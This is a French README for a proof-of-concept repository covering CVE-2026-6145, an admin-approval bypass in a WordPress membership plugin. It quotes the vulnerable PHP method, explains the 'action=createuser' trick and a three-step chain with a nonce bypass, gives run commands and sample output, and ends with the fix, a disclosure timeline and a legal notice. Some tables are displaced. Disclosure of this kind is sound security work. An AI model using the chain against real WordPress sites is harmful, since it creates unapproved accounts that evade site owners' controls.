
Inscription des utilisateurs et adhésion <= 5.1.5 - Contournement de l'approbation administrateur par absence d'autorisation non authentifiée via le paramètre 'action'
Preuve de concept pour CVE-2026-6145, une vulnérabilité d'autorisation manquante dans le plugin User Registration & Membership pour WordPress (≤ 5.1.5) permettant à des attaquants non authentifiés de contourner l'exigence d'approbation admin lors de la création de nouveaux comptes.
| Identifiant CVE | CVE-2026-6145 |
| CNA | Wordfence |
| Vulnérabilité | Autorisation manquante — Contournement de l'approbation admin |
| CWE | CWE-862 (Autorisation manquante) |
| CVSS 3.1 | 5.3 Moyen (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Affecté | User Registration & Membership pour WordPress — toutes les versions ≤ 5.1.5 |
| Corrigé | Version > 5.1.5 |
| Chercheur | Anthony Cihan — Offensive Security Lead, Obviam |
| Divulgation | Programme de divulgation responsable Wordfence |
| Publié | 2026-05-14 |
La méthode is_admin_creation_process() dans includes/class-ur-user-approval.php est la seule porte qui détermine si une nouvelle inscription doit être traitée comme une création initiée par l'administrateur. Lorsque cette méthode renvoie true, deux effets secondaires se produisent :
set_user_status() définit le statut du nouvel utilisateur à APPROUVÉ, en contournant la file d'attente d'approbation en attente.send_request_notification_to_admin() supprime l'e-mail de notification admin pour la nouvelle inscription.La méthode elle-même, dans la version 5.1.5, ne contient aucune authentification, autorisation ou vérification de nonce :
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
Étant donné que $_REQUEST fusionne $_GET, $_POST et $_COOKIE, un attaquant non authentifié peut satisfaire cette vérification en ajoutant ?action=createuser à l'URL d'une soumission de formulaire d'inscription. Le plugin approuve alors automatiquement le compte et n'alerte jamais l'administrateur.
Alors que CVE-2026-6145 traite spécifiquement de l'autorisation manquante dans is_admin_creation_process(), une exploitation non authentifiée complète contre un formulaire d'inscription durci nécessite de la chaîner avec deux problèmes annexes dans la même version du plugin, que le PoC inclus gère automatiquement :
Le résultat : un compte utilisateur entièrement approuvé, créé sans interaction ni notification de l'administrateur, sur un site qui exige explicitement l'approbation admin pour les nouvelles inscriptions.
requestsdata-form-id)git clone https://github.com/<votre-nom-utilisateur>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <url_cible> <id_formulaire>
Exemple :
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
Après avoir exécuté le PoC, connectez-vous à wp-admin et allez dans Utilisateurs → Tous les utilisateurs :
Sur les sites WordPress qui utilisent l'approbation admin comme porte principale contre la création non désirée de comptes—courant pour les sites d'adhésion, les communautés fermées, les portails internes, les plateformes B2B, et tout site nécessitant une vérification d'identité avant l'accès—cette vulnérabilité neutralise silencieusement ce contrôle. Conséquences spécifiques :
Le score CVSS reflète un impact uniquement sur l'intégrité (pas de perte directe de confidentialité des données ou d'interruption de service), mais l'impact dans le monde réel dépend de la mesure dans laquelle le site affecté se repose sur le processus d'approbation comme frontière de sécurité.
| Version | Statut |
|---|---|
| ≤ 5.1.5 | Vulnérable |
| > 5.1.5 | Corrigé |
Utilisateurs → Tous les utilisateurs pour détecter des comptes approuvés inattendus créés depuis l'installation de la version vulnérable. Portez une attention particulière aux comptes sans e-mail de notification admin correspondant.La méthode vulnérable doit vérifier à la fois une capacité et un nonce valide :
protected function is_admin_creation_process() {
return current_user_can( 'create_users' )
&& isset( $_REQUEST['action'] )
&& 'createuser' === $_REQUEST['action']
&& isset( $_REQUEST['_wpnonce_create-user'] )
&& wp_verify_nonce(
wp_unslash( $_REQUEST['_wpnonce_create-user'] ),
'create-user'
);
}
| Date | Événement |
|---|---|
| 2026-03-09 |
Les chercheurs qui suivent le modèle d'autorisation de ce plugin peuvent également être intéressés par :
register_member (≤ 5.1.2)Recherche, découverte et développement du PoC :
Anthony Cihan Offensive Security Lead — Obviam
Si vous référencez ce travail, veuillez citer CVE-2026-6145 avec attribution à Anthony Cihan / Obviam.
Cette preuve de concept est publiée à des fins de recherche défensive, d'ingénierie de détection et de tests de sécurité autorisés uniquement. Elle est destinée à aider :
La recherche originale a été menée dans un environnement de laboratoire autorisé sous accord signé, avec divulgation coordonnée au fournisseur via le programme de divulgation responsable Wordfence avant la publication publique.
Exécuter ce PoC contre tout système que vous ne possédez pas ou pour lequel vous n'avez pas d'autorisation écrite explicite est illégal en vertu du U.S. Computer Fraud and Abuse Act (18 U.S.C. § 1030), du U.K. Computer Misuse Act 1990, de la directive UE 2013/40/EU, et de la législation équivalente dans la plupart des juridictions. L'auteur et Obviam déclinent toute responsabilité en cas d'utilisation abusive de ce code.
En utilisant ce dépôt, vous reconnaissez avoir lu, compris et accepté ces conditions.
Publié sous Licence MIT. Attribution requise conformément à la section des crédits ci-dessus.
| Étape | Problème | Objectif |
|---|
| 1 | Génération de nonce non authentifiée via le point de terminaison wp_ajax_nopriv de user_registration_get_recent_nonce (vérification uniquement sur le Referer) | Obtenir un ur_frontend_form_nonce valide sans session authentifiée |
| 2 | Contournement de la vérification AJAX nonce lorsque ur_fallback_submit n'est pas vide dans le gestionnaire de formulaire | Soumettre l'inscription via le chemin de secours sans referer AJAX valide |
| 3 | CVE-2026-6145 — action=createuser dans $_REQUEST bascule is_admin_creation_process() à true | Approuver automatiquement le nouveau compte et supprimer la notification admin |
| Vulnérabilité identifiée lors d'un audit de sécurité autorisé du plugin v5.1.4 |
| 2026-03-09 | Rapport initial soumis au programme de divulgation responsable Wordfence |
| 2026-04-12 | CVE-2026-6145 réservé par Wordfence (CNA) |
| 2026-05-14 | Version corrigée publiée par le fournisseur ; CVE-2026-6145 publié |
| 2026-05-14 | Ce PoC publié en coordination avec l'avis public |